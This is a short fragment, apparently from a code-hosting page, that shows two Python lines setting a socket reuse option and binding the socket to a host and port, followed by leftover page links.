sock.setsockopt(socket.SOL_SOCKET, socket.SO_REUSEADDR, 1)
|
||||
sock.bind((HOST, PORT))
|
||||
|
||||
Reference in New Issue
Block a user